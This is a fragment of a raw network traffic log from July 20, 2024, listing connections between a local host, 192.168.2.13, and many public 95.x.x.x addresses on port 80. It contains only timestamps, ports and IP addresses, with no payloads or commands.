Jul 20, 2024 23:05:41.631771088 CEST	21679	80	192.168.2.13	95.4.226.114
Jul 20, 2024 23:05:41.631771088 CEST	21679	80	192.168.2.13	95.8.43.97
Jul 20, 2024 23:05:41.632376909 CEST	21679	80	192.168.2.13	95.58.237.131
Jul 20, 2024 23:05:41.632376909 CEST	21679	80	192.168.2.13	95.65.111.176
Jul 20, 2024 23:05:41.632479906 CEST	21679	80	192.168.2.13	95.123.15.205
Jul 20, 2024 23:05:41.632524967 CEST	21679	80	192.168.2.13	95.216.126.250
Jul 20, 2024 23:05:41.632524967 CEST	21679	80	192.168.2.13	95.77.7.73
Jul 20, 2024 23:05:41.632524967 CEST	21679	80	192.168.2.13	95.135.233.161
Jul 20, 2024 23:05:41.632946014 CEST	21679	80	192.168.2.13	95.99.179.194
Jul 20, 2024 23:05:41.632946014 CEST	21679	80	192.168.2.13	95.212.58.133
Jul 20, 2024 23:05:41.632946014 CEST	21679	80	192.168.2.13	95.10.224.195
Jul 20, 2024 23:05:41.632961988 CEST	21679	80	192.168.2.13	95.185.121.56
Jul 20, 2024 23:05:41.632961988 CEST	21679	80	192.168.2.13	95.25.159.84
Jul 20, 2024 23:05:41.632975101 CEST	21679	80	192.168.2.13	95.36.83.126
Jul 20, 2024 23:05:41.633105040 CEST	21679	80	192.168.2.13	95.158.64.25
Jul 20, 2024 23:05:41.633105040 CEST	21679	80	192.168.2.13	95.78.75.152
Jul 20, 2024 23:05:41.633302927 CEST	21679	80	192.168.2.13	95.27.149.121
Jul 20, 2024 23:05:41.633316994 CEST	21679	80	192.168.2.13	95.198.148.102
Jul 20, 2024 23:05:41.633316994 CEST	21679	80	192.168.2.13	95.172.181.119
Jul 20, 2024 23:05:41.633316994 CEST	21679	80	192.168.2.13	95.143.222.132
Jul 20, 2024 23:05:41.633316994 CEST	21679	80	192.168.2.13	95.70.3.199
Jul 20, 2024 23:05:41.633316994 CEST	21679	80	192.168.2.13	95.86.136.151
Jul 20, 2024 23:05:41.633399010 CEST	21679	80	192.168.2.13	95.5.44.224
Jul 20, 2024 23:05:41.633399010 CEST	21679	80	192.168.2.13	95.39.245.20
Jul 20, 2024 23:05:41.633399010 CEST	21679	80	192.168.2.13	95.134.175.82
Jul 20, 2024 23:05:41.633399010 CEST	21679	80	192.168.2.13	95.194.121.234
Jul 20, 2024 23:05:41.633399010 CEST	21679	80	192.168.2.13	95.84.24.11
Jul 20, 2024 23:05:41.633423090 CEST	21679	80	192.168.2.13	95.17.196.163
Jul 20, 2024 23:05:41.633423090 CEST	21679	80	192.168.2.13	95.127.26.111
Jul 20, 2024 23:05:41.633537054 CEST	21679	80	192.168.2.13	95.239.165.65
Jul 20, 2024 23:05:41.633537054 CEST	21679	80	192.168.2.13	95.12.214.212
Jul 20, 2024 23:05:41.633537054 CEST	21679	80	192.168.2.13	95.179.238.200
Jul 20, 2024 23:05:41.633537054 CEST	21679	80	192.168.2.13	95.57.214.33
Jul 20, 2024 23:05:41.633605957 CEST	21679	80	192.168.2.13	95.184.164.197
Jul 20, 2024 23:05:41.633605957 CEST	21679	80	192.168.2.13	95.82.40.159
Jul 20, 2024 23:05:41.633605957 CEST	21679	80	192.168.2.13	95.151.244.207
Jul 20, 2024 23:05:41.633625031 CEST	21679	80	192.168.2.13	95.239.206.180
Jul 20, 2024 23:05:41.633625031 CEST	21679	80	192.168.2.13	95.136.84.40
Jul 20, 2024 23:05:41.633790016 CEST	21679	80	192.168.2.13	95.221.74.36
Jul 20, 2024 23:05:41.633790016 CEST	21679	80	192.168.2.13	95.49.113.148
Jul 20, 2024 23:05:41.633790016 CEST	21679	80	192.168.2.13	95.30.65.188
Jul 20, 2024 23:05:41.633790016 CEST	21679	80	192.168.2.13	95.84.78.14
Jul 20, 2024 23:05:41.633790016 CEST	21679	80	192.168.2.13	95.11.29.47
Jul 20, 2024 23:05:41.633853912 CEST	21679	80	192.168.2.13	95.26.106.67
Jul 20, 2024 23:05:41.633853912 CEST	21679	80	192.168.2.13	95.76.135.22
Jul 20, 2024 23:05:41.633853912 CEST	21679	80	192.168.2.13	95.30.192.216
Jul 20, 2024 23:05:41.633853912 CEST	21679	80	192.168.2.13	95.45.61.53
Jul 20, 2024 23:05:41.633853912 CEST	21679	80	192.168.2.13	95.233.96.193
Jul 20, 2024 23:05:41.633853912 CEST	21679	80	192.168.2.13	95.25.246.249
Jul 20, 2024 23:05:41.634439945 CEST	21679	80	192.168.2.13	95.114.134.52
Jul 20, 2024 23:05:41.634439945 CEST	21679	80	192.168.2.13	95.221.171.64
Jul 20, 2024 23:05:41.634439945 CEST	21679	80	192.168.2.13	95.205.237.32
Jul 20, 2024 23:05:41.634439945 CEST	21679	80	192.168.2.13	95.11.2.255
Jul 20, 2024 23:05:41.634473085 CEST	21679	80	192.168.2.13	95.155.207.83
Jul 20, 2024 23:05:41.634473085 CEST	21679	80	192.168.2.13	95.146.16.103
Jul 20, 2024 23:05:41.634473085 CEST	21679	80	192.168.2.13	95.63.131.167
Jul 20, 2024 23:05:41.634601116 CEST	21679	80	192.168.2.13	95.151.14.251
Jul 20, 2024 23:05:41.634601116 CEST	21679	80	192.168.2.13	95.50.4.30
Jul 20, 2024 23:05:41.634601116 CEST	21679	80	192.168.2.13	95.112.254.209
Jul 20, 2024 23:05:41.634601116 CEST	21679	80	192.168.2.13	95.250.15.244
Jul 20, 2024 23:05:41.634601116 CEST	21679	80	192.168.2.13	95.245.1.208
Jul 20, 2024 23:05:41.634601116 CEST	21679	80	192.168.2.13	95.32.43.13
Jul 20, 2024 23:05:41.634601116 CEST	21679	80	192.168.2.13	95.198.75.143
Jul 20, 2024 23:05:41.634968996 CEST	80	21679	95.82.15.117	192.168.2.13
Jul 20, 2024 23:05:41.634980917 CEST	80	21679	95.12.52.181	192.168.2.13
Jul 20, 2024 23:05:41.634990931 CEST	80	21679	95.12.88.73	192.168.2.13
Jul 20, 2024 23:05:41.635220051 CEST	80	21679	95.109.0.167	192.168.2.13
Jul 20, 2024 23:05:41.635267019 CEST	80	21679	95.91.176.183	192.168.2.13
Jul 20, 2024 23:05:41.635277033 CEST	80	21679	95.85.44.222	192.168.2.13
Jul 20, 2024 23:05:41.635286093 CEST	80	21679	95.48.33.221	192.168.2.13
Jul 20, 2024 23:05:41.635296106 CEST	80	21679	95.169.160.58	192.168.2.13
Jul 20, 2024 23:05:41.635315895 CEST	80	21679	95.194.234.149	192.168.2.13
Jul 20, 2024 23:05:41.635325909 CEST	80	21679	95.160.145.121	192.168.2.13
Jul 20, 2024 23:05:41.635334969 CEST	80	21679	95.89.249.69	192.168.2.13
Jul 20, 2024 23:05:41.635354042 CEST	80	21679	95.12.175.93	192.168.2.13
Jul 20, 2024 23:05:41.635364056 CEST	80	21679	95.228.200.238	192.168.2.13
Jul 20, 2024 23:05:41.635373116 CEST	80	21679	95.127.71.38	192.168.2.13
Jul 20, 2024 23:05:41.635541916 CEST	21679	80	192.168.2.13	95.48.33.221
Jul 20, 2024 23:05:41.635656118 CEST	21679	80	192.168.2.13	95.186.126.147
Jul 20, 2024 23:05:41.635656118 CEST	21679	80	192.168.2.13	95.243.52.37
Jul 20, 2024 23:05:41.635656118 CEST	21679	80	192.168.2.13	95.181.90.130
Jul 20, 2024 23:05:41.635656118 CEST	21679	80	192.168.2.13	95.243.77.60
Jul 20, 2024 23:05:41.635656118 CEST	21679	80	192.168.2.13	95.12.52.181
Jul 20, 2024 23:05:41.635782003 CEST	21679	80	192.168.2.13	95.72.40.79
Jul 20, 2024 23:05:41.635782003 CEST	21679	80	192.168.2.13	95.79.212.248
Jul 20, 2024 23:05:41.635782003 CEST	21679	80	192.168.2.13	95.96.23.153
Jul 20, 2024 23:05:41.635782003 CEST	21679	80	192.168.2.13	95.12.88.73
Jul 20, 2024 23:05:41.635823011 CEST	21679	80	192.168.2.13	95.82.15.117
Jul 20, 2024 23:05:41.635823011 CEST	21679	80	192.168.2.13	95.194.234.149
Jul 20, 2024 23:05:41.635823011 CEST	21679	80	192.168.2.13	95.89.249.69
Jul 20, 2024 23:05:41.635823011 CEST	21679	80	192.168.2.13	95.228.200.238
Jul 20, 2024 23:05:41.635831118 CEST	80	21679	95.214.250.8	192.168.2.13
Jul 20, 2024 23:05:41.635842085 CEST	80	21679	95.129.69.195	192.168.2.13
Jul 20, 2024 23:05:41.635853052 CEST	80	21679	95.241.185.124	192.168.2.13
Jul 20, 2024 23:05:41.635863066 CEST	80	21679	95.244.33.243	192.168.2.13
Jul 20, 2024 23:05:41.635869026 CEST	21679	80	192.168.2.13	95.214.250.8
Jul 20, 2024 23:05:41.635873079 CEST	80	21679	95.27.212.157	192.168.2.13
Jul 20, 2024 23:05:41.635893106 CEST	80	21679	95.200.69.55	192.168.2.13
Jul 20, 2024 23:05:41.635901928 CEST	80	21679	95.22.148.165	192.168.2.13
Jul 20, 2024 23:05:41.635910034 CEST	21679	80	192.168.2.13	95.109.0.167
Jul 20, 2024 23:05:41.635910988 CEST	80	21679	95.244.225.178	192.168.2.13
Jul 20, 2024 23:05:41.635910034 CEST	21679	80	192.168.2.13	95.91.176.183
Jul 20, 2024 23:05:41.635910034 CEST	21679	80	192.168.2.13	95.85.44.222
Jul 20, 2024 23:05:41.635987997 CEST	21679	80	192.168.2.13	95.22.7.196
Jul 20, 2024 23:05:41.635987997 CEST	21679	80	192.168.2.13	95.36.22.6
Jul 20, 2024 23:05:41.635987997 CEST	21679	80	192.168.2.13	95.129.69.195
Jul 20, 2024 23:05:41.635987997 CEST	21679	80	192.168.2.13	95.27.212.157
Jul 20, 2024 23:05:41.636063099 CEST	21679	80	192.168.2.13	95.244.225.178
Jul 20, 2024 23:05:41.636356115 CEST	21679	80	192.168.2.13	95.142.93.189
Jul 20, 2024 23:05:41.636356115 CEST	21679	80	192.168.2.13	95.241.180.120
Jul 20, 2024 23:05:41.636356115 CEST	21679	80	192.168.2.13	95.252.179.42
Jul 20, 2024 23:05:41.636356115 CEST	21679	80	192.168.2.13	95.207.244.195
Jul 20, 2024 23:05:41.636356115 CEST	21679	80	192.168.2.13	95.169.160.58
Jul 20, 2024 23:05:41.636414051 CEST	21679	80	192.168.2.13	95.200.69.55
Jul 20, 2024 23:05:41.636710882 CEST	80	21679	95.130.191.169	192.168.2.13
Jul 20, 2024 23:05:41.636782885 CEST	80	21679	95.85.49.156	192.168.2.13
Jul 20, 2024 23:05:41.636792898 CEST	80	21679	95.199.121.127	192.168.2.13
Jul 20, 2024 23:05:41.636817932 CEST	21679	80	192.168.2.13	95.85.49.156
Jul 20, 2024 23:05:41.636876106 CEST	80	21679	95.96.165.243	192.168.2.13
Jul 20, 2024 23:05:41.636898041 CEST	80	21679	95.18.187.147	192.168.2.13
Jul 20, 2024 23:05:41.636907101 CEST	80	21679	95.33.23.31	192.168.2.13
Jul 20, 2024 23:05:41.636917114 CEST	80	21679	95.181.116.151	192.168.2.13
Jul 20, 2024 23:05:41.636926889 CEST	80	21679	95.42.35.197	192.168.2.13
Jul 20, 2024 23:05:41.636935949 CEST	80	21679	95.182.20.151	192.168.2.13
Jul 20, 2024 23:05:41.636953115 CEST	80	21679	95.61.59.169	192.168.2.13
Jul 20, 2024 23:05:41.636961937 CEST	80	21679	95.74.67.173	192.168.2.13
Jul 20, 2024 23:05:41.636970997 CEST	80	21679	95.140.215.247	192.168.2.13
Jul 20, 2024 23:05:41.636980057 CEST	80	21679	95.201.16.9	192.168.2.13
Jul 20, 2024 23:05:41.636989117 CEST	80	21679	95.68.157.52	192.168.2.13
Jul 20, 2024 23:05:41.636998892 CEST	80	21679	95.15.65.159	192.168.2.13
Jul 20, 2024 23:05:41.637008905 CEST	80	21679	95.12.205.106	192.168.2.13
Jul 20, 2024 23:05:41.637018919 CEST	80	21679	95.229.250.82	192.168.2.13
Jul 20, 2024 23:05:41.637027979 CEST	80	21679	95.92.0.189	192.168.2.13
Jul 20, 2024 23:05:41.637037039 CEST	80	21679	95.203.108.124	192.168.2.13
Jul 20, 2024 23:05:41.637046099 CEST	80	21679	95.157.224.56	192.168.2.13
Jul 20, 2024 23:05:41.637063980 CEST	80	21679	95.145.15.233	192.168.2.13
Jul 20, 2024 23:05:41.637079954 CEST	80	21679	95.202.16.5	192.168.2.13
Jul 20, 2024 23:05:41.637089014 CEST	80	21679	95.247.168.194	192.168.2.13
Jul 20, 2024 23:05:41.637098074 CEST	21679	80	192.168.2.13	95.96.165.243
Jul 20, 2024 23:05:41.637098074 CEST	80	21679	95.44.224.90	192.168.2.13
Jul 20, 2024 23:05:41.637098074 CEST	21679	80	192.168.2.13	95.140.215.247
Jul 20, 2024 23:05:41.637098074 CEST	21679	80	192.168.2.13	95.145.15.233
Jul 20, 2024 23:05:41.637106895 CEST	80	21679	95.115.50.80	192.168.2.13
Jul 20, 2024 23:05:41.637170076 CEST	21679	80	192.168.2.13	95.182.20.151
Jul 20, 2024 23:05:41.637170076 CEST	21679	80	192.168.2.13	95.12.205.106
Jul 20, 2024 23:05:41.637234926 CEST	21679	80	192.168.2.13	95.199.121.127
Jul 20, 2024 23:05:41.637234926 CEST	21679	80	192.168.2.13	95.74.67.173
Jul 20, 2024 23:05:41.637234926 CEST	21679	80	192.168.2.13	95.202.16.5
Jul 20, 2024 23:05:41.637234926 CEST	21679	80	192.168.2.13	95.115.50.80
Jul 20, 2024 23:05:41.637278080 CEST	80	21679	95.55.65.39	192.168.2.13
Jul 20, 2024 23:05:41.637289047 CEST	80	21679	95.37.52.245	192.168.2.13
Jul 20, 2024 23:05:41.637298107 CEST	80	21679	95.169.197.20	192.168.2.13
Jul 20, 2024 23:05:41.637306929 CEST	80	21679	95.207.7.187	192.168.2.13
Jul 20, 2024 23:05:41.637315989 CEST	80	21679	95.70.247.253	192.168.2.13
Jul 20, 2024 23:05:41.637481928 CEST	21679	80	192.168.2.13	95.244.33.243
Jul 20, 2024 23:05:41.637481928 CEST	21679	80	192.168.2.13	95.130.191.169
Jul 20, 2024 23:05:41.637481928 CEST	21679	80	192.168.2.13	95.181.116.151
Jul 20, 2024 23:05:41.637481928 CEST	21679	80	192.168.2.13	95.55.65.39
Jul 20, 2024 23:05:41.637481928 CEST	21679	80	192.168.2.13	95.169.197.20
Jul 20, 2024 23:05:41.637517929 CEST	80	21679	95.186.32.116	192.168.2.13
Jul 20, 2024 23:05:41.637527943 CEST	80	21679	95.80.184.76	192.168.2.13
Jul 20, 2024 23:05:41.637537956 CEST	80	21679	95.133.102.226	192.168.2.13
Jul 20, 2024 23:05:41.637547016 CEST	80	21679	95.163.228.59	192.168.2.13
Jul 20, 2024 23:05:41.637557030 CEST	80	21679	95.50.45.64	192.168.2.13
Jul 20, 2024 23:05:41.637566090 CEST	80	21679	95.128.116.2	192.168.2.13
Jul 20, 2024 23:05:41.637576103 CEST	80	21679	95.135.109.123	192.168.2.13
Jul 20, 2024 23:05:41.637584925 CEST	80	21679	95.71.68.243	192.168.2.13
Jul 20, 2024 23:05:41.637593985 CEST	80	21679	95.4.226.114	192.168.2.13
Jul 20, 2024 23:05:41.637609005 CEST	80	21679	95.227.200.110	192.168.2.13
Jul 20, 2024 23:05:41.637619019 CEST	80	21679	95.139.27.54	192.168.2.13
Jul 20, 2024 23:05:41.637629032 CEST	80	21679	95.174.198.161	192.168.2.13
Jul 20, 2024 23:05:41.637638092 CEST	80	21679	95.81.214.18	192.168.2.13
Jul 20, 2024 23:05:41.637648106 CEST	80	21679	95.8.43.97	192.168.2.13
Jul 20, 2024 23:05:41.637656927 CEST	80	21679	95.124.107.190	192.168.2.13
Jul 20, 2024 23:05:41.637665987 CEST	80	21679	95.203.152.93	192.168.2.13
Jul 20, 2024 23:05:41.637675047 CEST	80	21679	95.62.175.224	192.168.2.13
Jul 20, 2024 23:05:41.637684107 CEST	80	21679	95.122.50.119	192.168.2.13
Jul 20, 2024 23:05:41.637692928 CEST	80	21679	95.123.38.121	192.168.2.13
Jul 20, 2024 23:05:41.637701988 CEST	80	21679	95.101.78.125	192.168.2.13
Jul 20, 2024 23:05:41.637721062 CEST	21679	80	192.168.2.13	95.44.224.90
Jul 20, 2024 23:05:41.637721062 CEST	21679	80	192.168.2.13	95.80.184.76
Jul 20, 2024 23:05:41.637721062 CEST	21679	80	192.168.2.13	95.135.109.123
Jul 20, 2024 23:05:41.637721062 CEST	21679	80	192.168.2.13	95.4.226.114
Jul 20, 2024 23:05:41.637721062 CEST	21679	80	192.168.2.13	95.8.43.97
Jul 20, 2024 23:05:41.637902021 CEST	80	21679	95.224.40.109	192.168.2.13
Jul 20, 2024 23:05:41.637912035 CEST	80	21679	95.123.15.205	192.168.2.13
Jul 20, 2024 23:05:41.637922049 CEST	80	21679	95.58.237.131	192.168.2.13
Jul 20, 2024 23:05:41.637933016 CEST	80	21679	95.216.126.250	192.168.2.13
Jul 20, 2024 23:05:41.637942076 CEST	80	21679	95.159.6.36	192.168.2.13
Jul 20, 2024 23:05:41.637950897 CEST	80	21679	95.65.111.176	192.168.2.13
Jul 20, 2024 23:05:41.637970924 CEST	80	21679	95.77.7.73	192.168.2.13
Jul 20, 2024 23:05:41.637980938 CEST	80	21679	95.243.177.188	192.168.2.13
Jul 20, 2024 23:05:41.637990952 CEST	80	21679	95.142.27.251	192.168.2.13
Jul 20, 2024 23:05:41.638001919 CEST	21679	80	192.168.2.13	95.201.16.9
Jul 20, 2024 23:05:41.638001919 CEST	21679	80	192.168.2.13	95.15.65.159
Jul 20, 2024 23:05:41.638001919 CEST	21679	80	192.168.2.13	95.92.0.189
Jul 20, 2024 23:05:41.638001919 CEST	21679	80	192.168.2.13	95.247.168.194
Jul 20, 2024 23:05:41.638001919 CEST	21679	80	192.168.2.13	95.203.152.93
Jul 20, 2024 23:05:41.638066053 CEST	21679	80	192.168.2.13	95.186.32.116
Jul 20, 2024 23:05:41.638066053 CEST	21679	80	192.168.2.13	95.133.102.226
Jul 20, 2024 23:05:41.638066053 CEST	21679	80	192.168.2.13	95.128.116.2
Jul 20, 2024 23:05:41.638066053 CEST	21679	80	192.168.2.13	95.81.214.18
Jul 20, 2024 23:05:41.638066053 CEST	21679	80	192.168.2.13	95.123.38.121
Jul 20, 2024 23:05:41.638066053 CEST	21679	80	192.168.2.13	95.224.40.109
Jul 20, 2024 23:05:41.638066053 CEST	21679	80	192.168.2.13	95.216.126.250
Jul 20, 2024 23:05:41.638067007 CEST	21679	80	192.168.2.13	95.77.7.73
Jul 20, 2024 23:05:41.638118029 CEST	21679	80	192.168.2.13	95.37.52.245
Jul 20, 2024 23:05:41.638118029 CEST	21679	80	192.168.2.13	95.163.228.59
Jul 20, 2024 23:05:41.638118029 CEST	21679	80	192.168.2.13	95.227.200.110
Jul 20, 2024 23:05:41.638118029 CEST	21679	80	192.168.2.13	95.174.198.161
Jul 20, 2024 23:05:41.638118982 CEST	21679	80	192.168.2.13	95.124.107.190
Jul 20, 2024 23:05:41.638118982 CEST	21679	80	192.168.2.13	95.122.50.119
Jul 20, 2024 23:05:41.638118982 CEST	21679	80	192.168.2.13	95.101.78.125
Jul 20, 2024 23:05:41.638118982 CEST	21679	80	192.168.2.13	95.123.15.205
Jul 20, 2024 23:05:41.638278961 CEST	21679	80	192.168.2.13	95.160.145.121
Jul 20, 2024 23:05:41.638278961 CEST	21679	80	192.168.2.13	95.12.175.93
Jul 20, 2024 23:05:41.638278961 CEST	21679	80	192.168.2.13	95.127.71.38
Jul 20, 2024 23:05:41.638278961 CEST	21679	80	192.168.2.13	95.241.185.124
Jul 20, 2024 23:05:41.638278961 CEST	21679	80	192.168.2.13	95.22.148.165
Jul 20, 2024 23:05:41.638356924 CEST	80	21679	95.163.39.25	192.168.2.13
Jul 20, 2024 23:05:41.638366938 CEST	80	21679	95.151.87.68	192.168.2.13
Jul 20, 2024 23:05:41.638375998 CEST	80	21679	95.14.252.121	192.168.2.13
Jul 20, 2024 23:05:41.638582945 CEST	21679	80	192.168.2.13	95.207.7.187
Jul 20, 2024 23:05:41.638582945 CEST	21679	80	192.168.2.13	95.159.6.36
Jul 20, 2024 23:05:41.638582945 CEST	21679	80	192.168.2.13	95.243.177.188
Jul 20, 2024 23:05:41.638582945 CEST	21679	80	192.168.2.13	95.163.39.25
Jul 20, 2024 23:05:41.638616085 CEST	21679	80	192.168.2.13	95.50.45.64
Jul 20, 2024 23:05:41.638616085 CEST	21679	80	192.168.2.13	95.71.68.243
Jul 20, 2024 23:05:41.638616085 CEST	21679	80	192.168.2.13	95.139.27.54
Jul 20, 2024 23:05:41.638616085 CEST	21679	80	192.168.2.13	95.151.87.68
Jul 20, 2024 23:05:41.638696909 CEST	21679	80	192.168.2.13	95.33.23.31
Jul 20, 2024 23:05:41.638696909 CEST	21679	80	192.168.2.13	95.42.35.197
Jul 20, 2024 23:05:41.638696909 CEST	21679	80	192.168.2.13	95.61.59.169
Jul 20, 2024 23:05:41.638696909 CEST	21679	80	192.168.2.13	95.68.157.52
Jul 20, 2024 23:05:41.638696909 CEST	21679	80	192.168.2.13	95.229.250.82
Jul 20, 2024 23:05:41.638696909 CEST	21679	80	192.168.2.13	95.157.224.56
Jul 20, 2024 23:05:41.639153957 CEST	80	21679	95.130.82.28	192.168.2.13
Jul 20, 2024 23:05:41.639164925 CEST	80	21679	95.0.24.197	192.168.2.13
Jul 20, 2024 23:05:41.639177084 CEST	80	21679	95.99.179.194	192.168.2.13
Jul 20, 2024 23:05:41.639187098 CEST	80	21679	95.96.37.96	192.168.2.13
Jul 20, 2024 23:05:41.639197111 CEST	80	21679	95.169.39.23	192.168.2.13
Jul 20, 2024 23:05:41.639206886 CEST	80	21679	95.212.58.133	192.168.2.13
Jul 20, 2024 23:05:41.639215946 CEST	80	21679	95.158.64.25	192.168.2.13
Jul 20, 2024 23:05:41.639224052 CEST	80	21679	95.135.233.161	192.168.2.13
Jul 20, 2024 23:05:41.639234066 CEST	80	21679	95.78.75.152	192.168.2.13
Jul 20, 2024 23:05:41.639242887 CEST	80	21679	95.185.121.56	192.168.2.13
Jul 20, 2024 23:05:41.639251947 CEST	80	21679	95.83.248.117	192.168.2.13
Jul 20, 2024 23:05:41.639261007 CEST	80	21679	95.25.159.84	192.168.2.13
Jul 20, 2024 23:05:41.639270067 CEST	80	21679	95.111.165.44	192.168.2.13
Jul 20, 2024 23:05:41.639280081 CEST	80	21679	95.5.44.224	192.168.2.13
Jul 20, 2024 23:05:41.639297962 CEST	80	21679	95.198.148.102	192.168.2.13
Jul 20, 2024 23:05:41.639307022 CEST	80	21679	95.27.149.121	192.168.2.13
Jul 20, 2024 23:05:41.639316082 CEST	80	21679	95.36.83.126	192.168.2.13
Jul 20, 2024 23:05:41.639324903 CEST	80	21679	95.17.196.163	192.168.2.13
Jul 20, 2024 23:05:41.639404058 CEST	21679	80	192.168.2.13	95.130.82.28
Jul 20, 2024 23:05:41.639404058 CEST	21679	80	192.168.2.13	95.169.39.23
Jul 20, 2024 23:05:41.639404058 CEST	21679	80	192.168.2.13	95.111.165.44
Jul 20, 2024 23:05:41.639664888 CEST	21679	80	192.168.2.13	95.142.27.251
Jul 20, 2024 23:05:41.639664888 CEST	21679	80	192.168.2.13	95.14.252.121
Jul 20, 2024 23:05:41.639664888 CEST	21679	80	192.168.2.13	95.0.24.197
Jul 20, 2024 23:05:41.639664888 CEST	21679	80	192.168.2.13	95.96.37.96
Jul 20, 2024 23:05:41.639664888 CEST	21679	80	192.168.2.13	95.83.248.117
Jul 20, 2024 23:05:41.639664888 CEST	21679	80	192.168.2.13	95.5.44.224
Jul 20, 2024 23:05:41.639764071 CEST	80	21679	95.239.165.65	192.168.2.13
Jul 20, 2024 23:05:41.639775038 CEST	80	21679	95.39.245.20	192.168.2.13
Jul 20, 2024 23:05:41.639785051 CEST	80	21679	95.115.29.222	192.168.2.13
Jul 20, 2024 23:05:41.639801025 CEST	21679	80	192.168.2.13	95.99.179.194
Jul 20, 2024 23:05:41.639801025 CEST	21679	80	192.168.2.13	95.212.58.133
Jul 20, 2024 23:05:41.639805079 CEST	80	21679	95.10.224.195	192.168.2.13
Jul 20, 2024 23:05:41.639813900 CEST	80	21679	95.239.206.180	192.168.2.13
Jul 20, 2024 23:05:41.639823914 CEST	80	21679	95.172.181.119	192.168.2.13
Jul 20, 2024 23:05:41.639836073 CEST	21679	80	192.168.2.13	95.115.29.222
Jul 20, 2024 23:05:41.639889002 CEST	21679	80	192.168.2.13	95.36.83.126
Jul 20, 2024 23:05:41.639889002 CEST	21679	80	192.168.2.13	95.239.206.180
Jul 20, 2024 23:05:41.640044928 CEST	21679	80	192.168.2.13	95.239.165.65
Jul 20, 2024 23:05:41.640069962 CEST	21679	80	192.168.2.13	95.18.187.147
Jul 20, 2024 23:05:41.640069962 CEST	21679	80	192.168.2.13	95.203.108.124
Jul 20, 2024 23:05:41.640069962 CEST	21679	80	192.168.2.13	95.70.247.253
Jul 20, 2024 23:05:41.640069962 CEST	21679	80	192.168.2.13	95.62.175.224
Jul 20, 2024 23:05:41.640069962 CEST	21679	80	192.168.2.13	95.58.237.131
Jul 20, 2024 23:05:41.640069962 CEST	21679	80	192.168.2.13	95.65.111.176
Jul 20, 2024 23:05:41.640069962 CEST	21679	80	192.168.2.13	95.185.121.56
Jul 20, 2024 23:05:41.640069962 CEST	21679	80	192.168.2.13	95.25.159.84
Jul 20, 2024 23:05:41.640141964 CEST	80	21679	95.221.74.36	192.168.2.13
Jul 20, 2024 23:05:41.640153885 CEST	80	21679	95.143.222.132	192.168.2.13
Jul 20, 2024 23:05:41.640162945 CEST	80	21679	95.184.164.197	192.168.2.13
Jul 20, 2024 23:05:41.640178919 CEST	80	21679	95.70.3.199	192.168.2.13
Jul 20, 2024 23:05:41.640182018 CEST	21679	80	192.168.2.13	95.221.74.36
Jul 20, 2024 23:05:41.640188932 CEST	80	21679	95.82.40.159	192.168.2.13
Jul 20, 2024 23:05:41.640189886 CEST	21679	80	192.168.2.13	95.10.224.195
Jul 20, 2024 23:05:41.640198946 CEST	80	21679	95.26.106.67	192.168.2.13
Jul 20, 2024 23:05:41.640208006 CEST	80	21679	95.49.113.148	192.168.2.13
Jul 20, 2024 23:05:41.640218019 CEST	80	21679	95.76.135.22	192.168.2.13
Jul 20, 2024 23:05:41.640228033 CEST	80	21679	95.30.65.188	192.168.2.13
Jul 20, 2024 23:05:41.640238047 CEST	80	21679	95.134.175.82	192.168.2.13
Jul 20, 2024 23:05:41.640248060 CEST	80	21679	95.151.244.207	192.168.2.13
Jul 20, 2024 23:05:41.640256882 CEST	80	21679	95.86.136.151	192.168.2.13
Jul 20, 2024 23:05:41.640266895 CEST	80	21679	95.30.192.216	192.168.2.13
Jul 20, 2024 23:05:41.640275955 CEST	80	21679	95.136.84.40	192.168.2.13
Jul 20, 2024 23:05:41.640276909 CEST	21679	80	192.168.2.13	95.158.64.25
Jul 20, 2024 23:05:41.640278101 CEST	21679	80	192.168.2.13	95.78.75.152
Jul 20, 2024 23:05:41.640278101 CEST	21679	80	192.168.2.13	95.27.149.121
Jul 20, 2024 23:05:41.640278101 CEST	21679	80	192.168.2.13	95.184.164.197
Jul 20, 2024 23:05:41.640278101 CEST	21679	80	192.168.2.13	95.82.40.159
Jul 20, 2024 23:05:41.640278101 CEST	21679	80	192.168.2.13	95.151.244.207
Jul 20, 2024 23:05:41.640285969 CEST	80	21679	95.155.207.83	192.168.2.13
Jul 20, 2024 23:05:41.640295029 CEST	80	21679	95.151.14.251	192.168.2.13
Jul 20, 2024 23:05:41.640304089 CEST	80	21679	95.194.121.234	192.168.2.13
Jul 20, 2024 23:05:41.640327930 CEST	80	21679	95.146.16.103	192.168.2.13
Jul 20, 2024 23:05:41.640328884 CEST	21679	80	192.168.2.13	95.136.84.40
Jul 20, 2024 23:05:41.640328884 CEST	21679	80	192.168.2.13	95.151.14.251
Jul 20, 2024 23:05:41.640337944 CEST	80	21679	95.50.4.30	192.168.2.13
Jul 20, 2024 23:05:41.640347004 CEST	80	21679	95.114.134.52	192.168.2.13
Jul 20, 2024 23:05:41.640423059 CEST	21679	80	192.168.2.13	95.26.106.67
Jul 20, 2024 23:05:41.640424013 CEST	21679	80	192.168.2.13	95.76.135.22
Jul 20, 2024 23:05:41.640424013 CEST	21679	80	192.168.2.13	95.30.192.216
Jul 20, 2024 23:05:41.640438080 CEST	21679	80	192.168.2.13	95.49.113.148
Jul 20, 2024 23:05:41.640438080 CEST	21679	80	192.168.2.13	95.30.65.188
Jul 20, 2024 23:05:41.640458107 CEST	80	21679	95.112.254.209	192.168.2.13
Jul 20, 2024 23:05:41.640469074 CEST	80	21679	95.45.61.53	192.168.2.13
Jul 20, 2024 23:05:41.640477896 CEST	80	21679	95.250.15.244	192.168.2.13
Jul 20, 2024 23:05:41.640494108 CEST	80	21679	95.233.96.193	192.168.2.13
Jul 20, 2024 23:05:41.640502930 CEST	80	21679	95.63.131.167	192.168.2.13
Jul 20, 2024 23:05:41.640511990 CEST	80	21679	95.221.171.64	192.168.2.13
Jul 20, 2024 23:05:41.640522003 CEST	80	21679	95.84.78.14	192.168.2.13
Jul 20, 2024 23:05:41.640532017 CEST	80	21679	95.12.214.212	192.168.2.13
Jul 20, 2024 23:05:41.640706062 CEST	80	21679	95.205.237.32	192.168.2.13
Jul 20, 2024 23:05:41.640717030 CEST	80	21679	95.179.238.200	192.168.2.13
Jul 20, 2024 23:05:41.640727043 CEST	80	21679	95.11.2.255	192.168.2.13
Jul 20, 2024 23:05:41.640736103 CEST	80	21679	95.245.1.208	192.168.2.13
Jul 20, 2024 23:05:41.640746117 CEST	80	21679	95.57.214.33	192.168.2.13
Jul 20, 2024 23:05:41.640755892 CEST	80	21679	95.32.43.13	192.168.2.13
Jul 20, 2024 23:05:41.640767097 CEST	80	21679	95.84.24.11	192.168.2.13
